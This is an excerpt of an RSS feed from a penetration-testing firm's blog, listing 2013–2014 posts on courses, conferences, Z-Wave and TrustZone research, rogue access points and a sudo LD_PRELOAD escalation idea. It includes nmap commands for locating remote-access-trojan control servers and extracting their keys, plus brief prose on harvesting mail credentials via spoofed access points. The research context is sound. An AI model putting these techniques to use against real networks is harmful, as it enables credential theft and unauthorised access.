				<description>&lt;p&gt;This blog post is about the process we went through trying to better interpret the masses of scan results that automated vulnerability scanners and centralised logging systems produce. A good example of the value in getting actionable items out of this data is the recent &lt;a href=&#34;http://www.businessweek.com/articles/2014-03-13/target-missed-alarms-in-epic-hack-of-credit-card-data&#34;&gt;Target compromise&lt;/a&gt;. Their scanning solutions detected the threat that lead to their compromise, but no humans intervened. It&amp;#8217;s suspected that too many security alerts were being generated on a regular basis to act upon.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Associating an identity with HTTP requests – a Burp extension</title>
				<link>https://sensepost.com/blog/2014/associating-an-identity-with-http-requests-a-burp-extension/</link>
				<pubDate>Thu, 05 Jun 2014 14:38:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/associating-an-identity-with-http-requests-a-burp-extension/</guid>
				<description>&lt;p&gt;This is a tool that I have wanted to build for at least 5 years. Checking my archives, the earliest reference I can find is almost exactly 5 years ago, and I&amp;#8217;ve been thinking about it for longer, I&amp;#8217;m sure.&lt;/p&gt;&#xA;&lt;p&gt;Finally it has made it out of my head, and into the real world!&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Be free! Be free!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;So, what does it do, and how does it do it?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The core idea for this tool comes from the realisation that, when reviewing how web applications work, it would help immensely to be able to know which &lt;strong&gt;user&lt;/strong&gt; was actually making specific requests, rather than trying to just keep track of that information in your head (or not at all). Once you have an identity associated with a request, that enables more powerful analysis of the requests which have been made.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BootCamp Reloaded Infrastructure</title>
				<link>https://sensepost.com/blog/2014/bootcamp-reloaded-infrastructure/</link>
				<pubDate>Tue, 13 May 2014 13:23:08 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/bootcamp-reloaded-infrastructure/</guid>
				<description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Why Infrastructure Hacking Isn’t Dead&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you work in IT Security you may have heard people utter the phrase,&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;“Infrastructure hacking is dead!”&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;iframe allowfullscreen=&#34;allowfullscreen&#34; frameborder=&#34;0&#34; height=&#34;360&#34; loading=&#34;lazy&#34; src=&#34;//www.youtube.com/embed/wuiL6Z7Wm2M&#34; width=&#34;640&#34;&gt;&lt;/iframe&gt;&lt;/p&gt;&#xA;&lt;p&gt;We hear this all the time but in all honesty, our everyday experience of working in the industry tells a completely different story.&lt;/p&gt;&#xA;&lt;p&gt;With this in mind we’ve decided to factor out our “infrastructure related h@x0ry” from our Bootcamp Course and create a brand spanking new one, completely dedicated to all things ‘infrastructure’.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SenseCon 2014</title>
				<link>https://sensepost.com/blog/2014/sensecon-2014/</link>
				<pubDate>Mon, 07 Apr 2014 14:10:11 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/sensecon-2014/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2014/sensecon-2014/bfc2b395d81ebde60c1cc480b7618d65.jpg&#34;&gt;&lt;img alt=&#34;L1000617&#34;  height=&#34;199&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2014/sensecon-2014/1137e3cccf64e926809889018eb311a8.jpg&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;What originally started as one of those &amp;#8220;&lt;em&gt;hey, wouldn&amp;#8217;t this be cool?&amp;#8221;&lt;/em&gt; ideas, has blossomed into a yearly event for us at SensePost. SenseCon is a time for all of us to descend on South Africa and spend a week, learning/hacking/tinkering/breaking/building, &lt;em&gt;together&lt;/em&gt; and in person.&lt;/p&gt;&#xA;&lt;p&gt;A few years ago we made the difficult, and sometimes painful, shift to enable remote working in preparation for the opening of our UK and Cape Town offices. Some of you probably think this is a no-brainer, but the benefit of being in the same room as your fellow hackers can&amp;#8217;t be overlooked. Being able to call everyone over to view an epic hack, or to ask for a hand when stuck is something tools like Skype fail to provide. We&amp;#8217;ve put a lot of time into getting the tech and processes in place to give us the &amp;#8220;hackers in the same room&amp;#8221; feel, but this needs to be backed with some IRL interaction too.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Combat Reloaded</title>
				<link>https://sensepost.com/blog/2014/combat-reloaded/</link>
				<pubDate>Wed, 02 Apr 2014 12:50:15 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/combat-reloaded/</guid>
				<description>&lt;p&gt;The British Special Air Service (SAS) have a motto that&amp;#8217;s rather fitting for their line of work &amp;#8211;&lt;strong&gt; Who Dares Wins&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To a degree, the same could be said for our newly updated Hacking by Numbers course, Combat. Penetration testing is sometimes more than following a checklist or going for the easy kill. A good penetration tester knows how to handle all thrown at them, be it a Joomla implementation, or &lt;strong&gt;*shudder*&lt;/strong&gt; an OpenBSD box.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Channel 4 – Mobile Phone Experiment</title>
				<link>https://sensepost.com/blog/2014/channel-4-mobile-phone-experiment/</link>
				<pubDate>Thu, 06 Feb 2014 19:20:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/channel-4-mobile-phone-experiment/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;p&gt;This evening we were featured on Channel 4&amp;#8217;s DataBaby segment (link to follow). Channel 4 bought several second hand mobile phones that had been &amp;#8220;wiped&amp;#8221; (or rather reset to factory default) from various shops. Our challenge was to recover enough data from these seemingly empty phones to identify the previous owners.&lt;/p&gt;&#xA;&lt;p&gt;After a long night of mobile forensics analysis, we had recovered personal data from almost every phone we had been provided with. This information included:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Revisting XXE and abusing protocols</title>
				<link>https://sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/</link>
				<pubDate>Tue, 28 Jan 2014 11:20:30 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/</guid>
				<description>&lt;p&gt;Recently a security researcher reported a bug in Facebook that could potentially allow Remote Code Execution (RCE). His writeup of the incident is available &lt;a href=&#34;http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution&#34;&gt;here&lt;/a&gt; if you are interested. The thing that caught my attention about his writeup was not the fact that he had pwned Facebook or earned $33,500 doing it, but the fact that he used OpenID to accomplish this. After having a quick look at the output from the PoC and rereading the vulnerability description I had a pretty good idea of how the vulnerability was triggered and decided to see if any other platforms were vulnerable.&lt;/p&gt;</description>
			</item>
			<item>
				<title>January Get Fit Reversing Challenge</title>
				<link>https://sensepost.com/blog/2014/january-get-fit-reversing-challenge/</link>
				<pubDate>Fri, 17 Jan 2014 13:00:56 +0000</pubDate>
				<guid>https://sensepost.com/blog/2014/january-get-fit-reversing-challenge/</guid>
				<description>&lt;p&gt;Aah, January, a month where resolutions usually flare out spectacularly before we get back to the couch in February. We&amp;#8217;d like to help you along your way with a reverse engineering challenge put together by Siavosh as an introduction to reversing, and a bit of fun.&lt;/p&gt;&#xA;&lt;h2&gt;The Setup&lt;/h2&gt;&#xA;&lt;p&gt;This simple reversing challenge should take  4-10+ hours to complete, depending on your previous experience. The goal was to create an interactive challenge that takes you through different areas of the reverse engineering process, such as file format reverse engineering, behavioural and disassembly analysis.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Goodbye to 2013, hello to 2014</title>
				<link>https://sensepost.com/blog/2013/goodbye-to-2013-hello-to-2014/</link>
				<pubDate>Mon, 23 Dec 2013 13:29:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/goodbye-to-2013-hello-to-2014/</guid>
				<description>&lt;p&gt;With 2013 coming to a close, I thought it pertinent to look back at the year we’ve had and also forward to what&amp;#8217;s promising to be an incredibly exciting 2014 for us.&lt;/p&gt;&#xA;&lt;p&gt;2013 for SensePost, was a year of transition. With a new leadership structure in myself, Shane and Dominic, we had a chance to stamp our style and vision and also learn from Charl and Jaco. One of the first leadership choices was to expand our reach and open our first office in London, aptly in a borough called Hackney. Here, we grew our family and welcomed some amazing people into the plak. After a few short months, we had outgrown the office and needed to look for bigger premises, this time in another aptly named area: Whitechapel (think Jack the Ripper).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Botconf 2013</title>
				<link>https://sensepost.com/blog/2013/botconf-2013/</link>
				<pubDate>Tue, 17 Dec 2013 08:37:34 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/botconf-2013/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2013/botconf-2013/38367b6f05e6fe81824d687e397ab968.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;62&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2013/botconf-2013/6cd403863385de0b06afdbd3f7176e49.png&#34; title=&#34;cropped-botconf-header-logo-619-200-21&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Botconf&amp;#8217;13, the &amp;#8220;First botnet fighting conference&amp;#8221; took place in Nantes, France from 5-6 December 2013. Botconf aimed to bring together the anti-botnet community, including law enforcement, ISPs and researchers. To this end the conference was a huge success, especially since a lot of networking occurred over the lunch and tea breaks as well as the numerous social events organised by Botconf.&lt;/p&gt;&#xA;&lt;p&gt;I was fortunate enough to attend as a speaker and to present a small part of my Masters  research. The talk focused the use of Spatial Statistics to detect Fast-Flux botnet Command and Control (C2) domains based on the geographic location of the C2 servers. This research aimed to find novel techniques that would allow for accurate and lightweight classifiers to detect Fast-Flux domains. Using DNS query responses it was possible to identify Fast-Flux domains based on values such as the TTL, number of A records and different ASNs. In an attempt to increase the accuracy of this classifier, additional analysis was performed and it was observed that Fast-Flux domains tended to have numerous C2 servers widely dispersed geographically. Through the use of the statistical methods employed in plant and animal dispersion statistics, namely &lt;a href=&#34;http://en.wikipedia.org/wiki/Moran%27s_I&#34;&gt;Moran&amp;#8217;s I&lt;/a&gt; and &lt;a href=&#34;http://en.wikipedia.org/wiki/Geary%27s_C&#34;&gt;Geary&amp;#8217;s C&lt;/a&gt;, new classifiers were created. It was shown that these classifiers could detect Fast-Flux domains with up to a 97% accuracy, maintaining a False Positive rate of only 3.25% and a True Positive rate of 99%. Furthermore, it was shown that the use of these classifiers would not significantly impact current network performance and would not require changes to current network architecture.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Mobile Hacking on the West Coast</title>
				<link>https://sensepost.com/blog/2013/mobile-hacking-on-the-west-coast/</link>
				<pubDate>Fri, 22 Nov 2013 13:42:30 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/mobile-hacking-on-the-west-coast/</guid>
				<description>&lt;p&gt;December sees SensePost presenting Hacking by Numbers: Mobile at  BlackHat West Coast Trainings. This course was first presented at BlackHat Vegas 2013 and 44Con 2013, growing in popularity and content with each iteration. For more information continue reading below or visit &lt;a href=&#34;https://blackhat.com/wc-13/training/Hacking-by-Numbers-Mobile.html&#34;&gt;https://blackhat.com/wc-13/training/Hacking-by-Numbers-Mobile.html&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The mobile environment has seen immense growth and has subsequently seen organisations racing to be the first to market with the next best app. The rapid increase in mobile popularity and the speed at which developers are forced to produce new applications has resulted in an ecosystem full of security vulnerabilities. As more organisations are moving from web applications to mobile applications, penetration testers are required to adapt their testing methodology to keep pace with the changing platforms. Mobile applications developers have been lulled into a false sense of security due to the belief that &amp;#8220;the platform will take care of the security&amp;#8221;. The Hacking by Numbers: Mobile  course aims to help both penetration testers and mobile applications developers to find and understand common security vulnerabilities on a wide range of mobile platforms. The course teaches a mobile application security testing methodology that can easily be applied to mobile applications on Android, iOS, Blackberry and Windows Mobile.&lt;/p&gt;</description>
			</item>
			<item>
				<title>RAT-a-tat-tat</title>
				<link>https://sensepost.com/blog/2013/rat-a-tat-tat/</link>
				<pubDate>Fri, 22 Nov 2013 12:11:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/rat-a-tat-tat/</guid>
				<description>&lt;p&gt;Hey all,&lt;/p&gt;&#xA;&lt;p&gt;So following on from my talk (&lt;a href=&#34;https://introonet.sensepost.com/blog/wp-content/uploads/2013/11/RAT-a-tat-tat.pptx&#34;&gt;slides&lt;/a&gt;, &lt;a href=&#34;http://vimeo.com/81286555&#34;&gt;video&lt;/a&gt;) I am releasing the NMAP service probes and the Poison Ivy NSE script as well as the DarkComet config extractor.&lt;br /&gt;&#xA;&lt;iframe allowfullscreen=&#34;&#34; frameborder=&#34;0&#34; height=&#34;355&#34; loading=&#34;lazy&#34; src=&#34;http://www.slideshare.net/slideshow/embed_code/29136715&#34; width=&#34;425&#34;&gt;&lt;/iframe&gt;&lt;/p&gt;&#xA;&lt;div&gt;&lt;strong&gt; &lt;a href=&#34;https://www.slideshare.net/sensepost/rat-atattat&#34; target=&#34;_blank&#34; title=&#34;Rat a-tat-tat&#34;&gt;Rat a-tat-tat&lt;/a&gt; &lt;/strong&gt; from &lt;strong&gt;&lt;a href=&#34;http://www.slideshare.net/sensepost&#34; target=&#34;_blank&#34;&gt;SensePost&lt;/a&gt;&lt;/strong&gt;&lt;/div&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://introonet.sensepost.com/blog/wp-content/uploads/2013/11/nmap-service-probes.txt&#34;&gt;nmap-service-probes.pi&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://introonet.sensepost.com/blog/wp-content/uploads/2013/11/poison-ivy.txt&#34;&gt;poison-ivy.nse&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://introonet.sensepost.com/blog/wp-content/uploads/2013/11/extract_config_from_binary.txt&#34;&gt;extract-DCconfig-from-binary.py&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;An example of finding and extracting Camellia key from live Poison Ivy C2&amp;#8217;s:&lt;br /&gt;&#xA;&lt;code&gt;nmap -sV -Pn --versiondb=nmap-service-probes.pi --script=poison-ivy.nse &amp;lt;ip_address/range)&lt;/code&gt;&lt;br /&gt;&#xA;Finding Poison Ivy, DarkComet and/or Xtreme RAT C2&amp;#8217;s:&lt;br /&gt;&#xA;&lt;code&gt;nmap -sV -Pn --versiondb=nmap-service-probes.pi &amp;lt;ip_range&amp;gt;&lt;/code&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Never mind the spies: the security gaps inside your phone</title>
				<link>https://sensepost.com/blog/2013/never-mind-the-spies-the-security-gaps-inside-your-phone/</link>
				<pubDate>Fri, 15 Nov 2013 13:01:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/never-mind-the-spies-the-security-gaps-inside-your-phone/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2013/never-mind-the-spies-the-security-gaps-inside-your-phone/cd3ffc7341426538b6892ef1e86dd771.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;300&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2013/never-mind-the-spies-the-security-gaps-inside-your-phone/2ec184c497d9363e0e9d5ebff1926cd4.jpg&#34; title=&#34;channel4&#34; width=&#34;225&#34; /&gt;&lt;/a&gt;For the last year, Glenn and I have been obsessed with our phones; especially with regard to the data being leaked by a  device that is always with you, powered on and often provided with a fast Internet connection. From this obsession, the &lt;a href=&#34;http://www.sensepost.com/blog/7557.html&#34;&gt;Snoopy framework&lt;/a&gt; was born and released.&lt;/p&gt;&#xA;&lt;p&gt;After &lt;a href=&#34;http://44con.com/&#34; target=&#34;_blank&#34;&gt;44con&lt;/a&gt; this year, &lt;a href=&#34;http://www.channel4.com/&#34;&gt;Channel 4 &lt;/a&gt; contacted us to be part of a new experimental show named &amp;#8216;&lt;a href=&#34;http://www.channel4.com/news/data-baby&#34;&gt;Data Baby&lt;/a&gt;&amp;#8216;, whose main goal is to grab ideas from the security community, and transform them into an easy-to-understand concept screened to the public during the 7 o&amp;#8217;clock news.&lt;/p&gt;</description>
			</item>
			<item>
				<title>A new owner for a new chapter</title>
				<link>https://sensepost.com/blog/2013/a-new-owner-for-a-new-chapter/</link>
				<pubDate>Fri, 01 Nov 2013 11:50:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/a-new-owner-for-a-new-chapter/</guid>
				<description>&lt;p&gt;We&amp;#8217;re pleased to announce our acquisition today by SecureData Europe.&lt;/p&gt;&#xA;&lt;p&gt;SecureData (&lt;a href=&#34;http://www.secdata.com&#34;&gt;www.secdata.com&lt;/a&gt;) is a complete independent security services provider based in the UK and was also previously part of the SecureData Holdings group before being acquired by management in November 2012. The strategic acquisition complements SecureData’s vision for enabling  an end-to-end, proactive approach to security for global customers by  assessing risk, detecting threats in real-time, protecting valuable  assets and responding to security issues when they occur.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Offence oriented defence</title>
				<link>https://sensepost.com/blog/2013/offence-oriented-defence/</link>
				<pubDate>Fri, 06 Sep 2013 13:29:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/offence-oriented-defence/</guid>
				<description>&lt;p&gt;We recently gave a talk at the &lt;a href=&#34;http://www.itweb.co.za&#34;&gt;ITWeb Security Summit&lt;/a&gt; entitled &amp;#8220;Offense Oriented Defence&amp;#8221;. The talk was targeted at defenders and auditors, rather then hackers (the con is oriented that way), although it&amp;#8217;s odd that I feel the need to apologise for that ;)&lt;/p&gt;&#xA;&lt;p&gt;The talks primary point, was that by understanding how attackers attack, more innovative defences can be imagined. The corollary was that common defences, in the form of &amp;#8220;best practise&amp;#8221; introduce commonality that is more easily exploited, or at least degrade over time as attackers adapt. Finally, many of these &amp;#8220;security basics&amp;#8221; are honestly hard, and we can&amp;#8217;t place the reliance on them we&amp;#8217;d hoped. But our approach doesn&amp;#8217;t seem to want to acknowledge the problem, and much like an AA meeting, it&amp;#8217;s time we recognise the problem.&lt;/p&gt;</description>
			</item>
			<item>
				<title>44CON 2013</title>
				<link>https://sensepost.com/blog/2013/44con-2013/</link>
				<pubDate>Wed, 04 Sep 2013 09:39:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/44con-2013/</guid>
				<description>&lt;p&gt;In one week, it’s &lt;a href=&#34;http://44con.com/&#34;&gt;44CON&lt;/a&gt; time again! One of our favourite UK hacker cons. In keeping with our desire to make more hackers, we’re giving several sets of training courses as well as a talk this year.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Training: Hacking by Numbers &amp;#8211; Mobile Edition&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;#8217;re in a rush, you can book &lt;a href=&#34;http://44con.com/training/hacking-by-numbers-mobile-edition.html&#34;&gt;here&lt;/a&gt;.&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;We launched it at Blackhat USA, and nobody threw anything rotting, in-fact some said it went pretty well; our latest &lt;a href=&#34;http://sensepost.com/services/training/mobile&#34;&gt;addition&lt;/a&gt; to the &lt;a href=&#34;http://sensepost.com/services/training/&#34;&gt;Hacking by Numbers training&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat Conference: Z-Wave Security</title>
				<link>https://sensepost.com/blog/2013/blackhat-conference-z-wave-security/</link>
				<pubDate>Mon, 19 Aug 2013 10:23:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/blackhat-conference-z-wave-security/</guid>
				<description>&lt;p&gt;We are publishing the research paper and tool for our &lt;a href=&#34;http://www.blackhat.com/us-13/briefings.html#Fouladi&#34;&gt;BlackHat 2013 USA talk&lt;/a&gt; on the Z-Wave proprietary wireless protocol security. The paper introduces our Z-Wave packet interception and injection toolkit (Z-Force) that was used to analyze the security layer of Z-Wave protocol stack and discover the implementation details of the frame encryption, data origin authentication and key establishment process. We developed the Z-Force module to perform security tests against the implementation of the Z-Wave security layer in encrypted home automation devices such as a door locks. The paper describes the details of a critical vulnerability discovered in a Z-Wave door lock that could enable an attacker to remotely take full control of the target device without knowledge of the network encryption key. The Z-Force download archive contains the GUI program and two radio firmware files for the receiver and transmitter &lt;a href=&#34;http://www.ti.com/tool/cc1110dk-mini-868&#34;&gt;TI CC1110 boards&lt;/a&gt;.&lt;br /&gt;&#xA;This research will also be presented at &lt;a href=&#34;http://44con.com/&#34;&gt;44Con 2013&lt;/a&gt; in London next month, followed by the release of Z-Force source code and US frequency support (908.4 MHz) in the firmware. &lt;/p&gt;</description>
			</item>
			<item>
				<title>Hacking by Numbers – The mobile edition</title>
				<link>https://sensepost.com/blog/2013/hacking-by-numbers-the-mobile-edition/</link>
				<pubDate>Mon, 19 Aug 2013 08:52:06 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/hacking-by-numbers-the-mobile-edition/</guid>
				<description>&lt;p&gt;West Coast in the house, well actually more like an African visiting Seattle for &lt;a href=&#34;https://www.blackhat.com/wc-13/&#34;&gt;Blackhat&amp;#8217;s West Coast Trainings&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;#8217;ve had a great year delivering the latest course in our amazing Hacking by Numbers training series: Mobile. What&amp;#8217;s cool about this course, is like the others, we teach a hacking methodology rather than punting a tool or a magic, do it all solutions.&lt;/p&gt;&#xA;&lt;p&gt;Mobile was created  to match the continuous growth in mobile phone usage, with a specific focus on showing you how you would go about testing the mobile platforms and installed applications, to ensure they have been developed in a secure manner. HBN Mobile provides a complete and practical window into the methods used when attacking mobile platforms and presents you with a methodology that can be applied across platforms. This course is structured to cater to penetration testers who are new to the mobile area and who need to understand how to analyze and audit applications on various mobile platforms using a variety of tools.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Rogue Access Points, a how-to</title>
				<link>https://sensepost.com/blog/2013/rogue-access-points-a-how-to/</link>
				<pubDate>Fri, 12 Jul 2013 12:44:29 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/rogue-access-points-a-how-to/</guid>
				<description>&lt;p&gt;In preparation for our &lt;a href=&#34;https://www.sensepost.com/blackhat/#unplugged&#34; title=&#34;Unplugged&#34;&gt;wireless training course at BlackHat Vegas in a few weeks&lt;/a&gt;, I spent some time updating the content on rogue/spoofed access points. What we mean by this are access points under your control, that you attempt to trick a user into connecting to, rather than the &amp;#8220;unauthorised access points&amp;#8221; Bob in Marketing bought and plugged into your internal network for his team to use.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;#8217;ll discuss how to quickly get a rogue AP up on Kali that will allow you to start gathering some creds, specifically mail creds. Once you have that basic pattern down, setting up more complex attacks is fairly easy.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Technical Project Manager Role</title>
				<link>https://sensepost.com/blog/2013/technical-project-manager-role/</link>
				<pubDate>Thu, 06 Jun 2013 14:57:10 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/technical-project-manager-role/</guid>
				<description>&lt;p&gt;As SensePost grows, so does our desire to ensure a healthy balance between technical savvy and organisational skills. As a result, we are on the lookout for a Technical Project Manager based in our Pretoria office in South Africa.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Job Title: &lt;/strong&gt;Technical Project Manager&lt;br /&gt;&#xA;&lt;strong&gt;Salary Range:&lt;/strong&gt; Industry standard, commensurate with experience&lt;br /&gt;&#xA;&lt;strong&gt;Location:&lt;/strong&gt; Pretoria, South Africa&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;About the role&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Define and implement Project workflows for various service lines.&lt;/li&gt;&#xA;&lt;li&gt;Architect , source and implement a project management system that includes real-time, accessible scheduling system.&lt;/li&gt;&#xA;&lt;li&gt;Technical project scoping.  (can grow into this responsibility over time)&lt;/li&gt;&#xA;&lt;li&gt;Lead the planning and implementation of project&lt;/li&gt;&#xA;&lt;li&gt;Facilitate the definition of project scope, goals and deliverables&lt;/li&gt;&#xA;&lt;li&gt;Define project tasks and resource requirements&lt;/li&gt;&#xA;&lt;li&gt;Develop fullscale project plans&lt;/li&gt;&#xA;&lt;li&gt;Assemble and coordinate project staff&lt;/li&gt;&#xA;&lt;li&gt;Manage project budget&lt;/li&gt;&#xA;&lt;li&gt;Manage project resource allocation&lt;/li&gt;&#xA;&lt;li&gt;Plan and schedule project timelines&lt;/li&gt;&#xA;&lt;li&gt;Track project deliverables using appropriate tools&lt;/li&gt;&#xA;&lt;li&gt;Provide direction and support to project team&lt;/li&gt;&#xA;&lt;li&gt;Drive quality assurance process&lt;/li&gt;&#xA;&lt;li&gt;Constantly monitor and report on progress of the project to all stakeholders&lt;/li&gt;&#xA;&lt;li&gt;Present reports defining project progress, problems and solutions&lt;/li&gt;&#xA;&lt;li&gt;Implement and manage project changes and interventions to achieve project outputs&lt;/li&gt;&#xA;&lt;li&gt;Project evaluations and assessment of results&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Education and Experience&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>A software level analysis of TrustZone OS and Trustlets in Samsung Galaxy Phone</title>
				<link>https://sensepost.com/blog/2013/a-software-level-analysis-of-trustzone-os-and-trustlets-in-samsung-galaxy-phone/</link>
				<pubDate>Tue, 04 Jun 2013 17:53:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/a-software-level-analysis-of-trustzone-os-and-trustlets-in-samsung-galaxy-phone/</guid>
				<description>&lt;p&gt;&lt;strong&gt;Introduction:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;New types of mobile applications based on Trusted Execution Environments (TEE) and most notably ARM TrustZone micro-kernels are emerging which require new types of security assessment tools and techniques.  In this blog post we review an example TrustZone application on a Galaxy S3 phone and demonstrate how to capture communication between the Android application and TrustZone OS using an instrumented version of the Mobicore Android library. We also present a security issue in the Mobicore kernel driver that could allow unauthorised communication between low privileged Android processes and Mobicore enabled kernel drivers such as an IPSEC driver.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat Challenge – 2013</title>
				<link>https://sensepost.com/blog/2013/blackhat-challenge-2013/</link>
				<pubDate>Mon, 03 Jun 2013 08:09:04 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/blackhat-challenge-2013/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2013/blackhat-challenge-2013/e6b43938b12a9b8f197fd90bc6ae1446.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;203&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2013/blackhat-challenge-2013/30b6df25ff1426c90b2ba2ffc0f20b63.jpg&#34; title=&#34;L1003842&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;One of the things we try and get across in our training &amp;#8211; is that pen-testing requires &lt;strong&gt;out of the box&lt;/strong&gt; thinking. It&amp;#8217;s also about solving puzzles and making things work the way you want them to. It&amp;#8217;s about identifying the small vulnerabilities (which are often easy to spot), and trying to leverage them into something useful. A key process we strive to do at SensePost, when performing these penetration tests, is about having fun.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Honey, I’m home!! – Hacking Z-Wave &amp; other Black Hat news</title>
				<link>https://sensepost.com/blog/2013/honey-im-home-hacking-z-wave-other-black-hat-news/</link>
				<pubDate>Sat, 01 Jun 2013 21:56:01 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/honey-im-home-hacking-z-wave-other-black-hat-news/</guid>
				<description>&lt;p&gt;You&amp;#8217;ve probably never thought of this, but the home automation market in the US was worth approximately $3.2  billion in 2010 and is expected to exceed $5.5 billion in 2016.&lt;/p&gt;&#xA;&lt;p&gt;Under the hood, the Zigbee and Z-wave wireless communication protocols are the most common  used RF technology in home automation systems. Zigbee is based on an  open specification (IEEE 802.15.4) and has been the subject of several  academic and practical security researches. Z-wave is a proprietary  wireless protocol that works in the Industrial, Scientific and Medical  radio band (ISM). It transmits on the 868.42 MHz (Europe) and 908.42MHz  (United States) frequencies designed for low-bandwidth data  communications in embedded devices such as security sensors, alarms and  home automation control panels.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Something about sudo, Kingcope and re-inventing  the wheel</title>
				<link>https://sensepost.com/blog/2013/something-about-sudo-kingcope-and-re-inventing-the-wheel/</link>
				<pubDate>Mon, 27 May 2013 18:07:35 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/something-about-sudo-kingcope-and-re-inventing-the-wheel/</guid>
				<description>&lt;p&gt;Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo &amp;#8211; long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?&lt;/p&gt;</description>
			</item>
			<item>
				<title>Black Hat Vegas 2013 – Course Summaries</title>
				<link>https://sensepost.com/blog/2013/black-hat-vegas-2013-course-summaries/</link>
				<pubDate>Sun, 26 May 2013 17:08:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/black-hat-vegas-2013-course-summaries/</guid>
